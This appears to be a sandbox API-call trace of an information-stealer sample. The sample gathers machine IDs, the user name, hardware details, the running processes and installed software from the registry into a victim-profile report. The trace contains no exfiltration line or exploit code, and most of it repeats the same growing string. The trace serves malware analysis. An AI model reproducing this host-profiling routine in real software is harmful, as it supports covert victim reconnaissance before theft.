[3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]"
[0054.975] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\n"
[0054.975] RegCloseKey (hKey=0x514) returned 0x0
[0054.975] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x34, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{90160000-012B-0409-0000-0000000FF1CE}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.975] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-012B-0409-0000-0000000FF1CE}") returned 90
[0054.975] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{90160000-012B-0409-0000-0000000FF1CE}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.975] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Skype for Business MUI (English) 2016", lpcbData=0x1816c0*=0x30) returned 0x0
[0054.975] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft Skype for Business MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 